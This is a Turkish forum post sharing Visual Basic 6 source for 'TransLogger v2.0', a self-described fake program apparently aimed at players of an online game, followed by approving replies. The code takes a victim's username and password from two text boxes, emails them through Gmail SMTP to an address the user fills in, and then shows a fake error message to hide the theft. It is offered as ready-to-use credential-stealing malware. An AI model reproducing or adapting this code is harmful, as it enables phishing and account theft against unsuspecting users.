TransLogger v.2.0 (Fake Program)

+Kullanıcı Adı:TheWasat

+Program Adı:TransLogger

+Program Sürümü:v.2.0

+Kodlama Dili:Visual Basıc 6.0

+Program Açıklaması:TransLogger'ın 2'nci sürümüdür.Öneriler üzerine tasarım geliştirilmiş ve seçeneklere 'Çilek' eşyası da eklenmiştir.​

Kod:
Private Sub Command1_Click()
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "bilgileri gönderecek mail adresi" '
Flds.Item(schema & "sendpassword") = "bilgileri gönderecek mailin şifresi" '
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "bilgilerin gönderileceği mail adresi" '
.From = "bilgileri gönderecek mail adresi" '
.Subject = "mail konu başlığı"
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
MsgBox "hata mesajınız", vbCritical, "hata mesajı başlığınız" '
End Sub

eline sağlık arka plan resmine transdan bikan kare eklesen birazdaha güzel olurdu

güzel çalışma.başarılar

daha cok peynir cilek yiycen

Ya İşte İnandırıcı Olsun Diye Anonymous un Basit Bi Üyesinin Yaptığı Bir Program

Gerçi en basiti bile bu işlerle uğraşmazda

TheWasat' Alıntı:

Ya İşte İnandırıcı Olsun Diye Anonymous un Basit Bi Üyesinin Yaptığı Bir Program

Gerçi en basiti bile bu işlerle uğraşmazda

Genişletmek için tıkla ...

Olsun Yinede Eline Sağlık emek Var

Güzel Olmuş Eline Sağlık
+++++

gfbali06' Alıntı:

Güzel Olmuş Eline Sağlık
+++++

Genişletmek için tıkla ...

Sağolasın.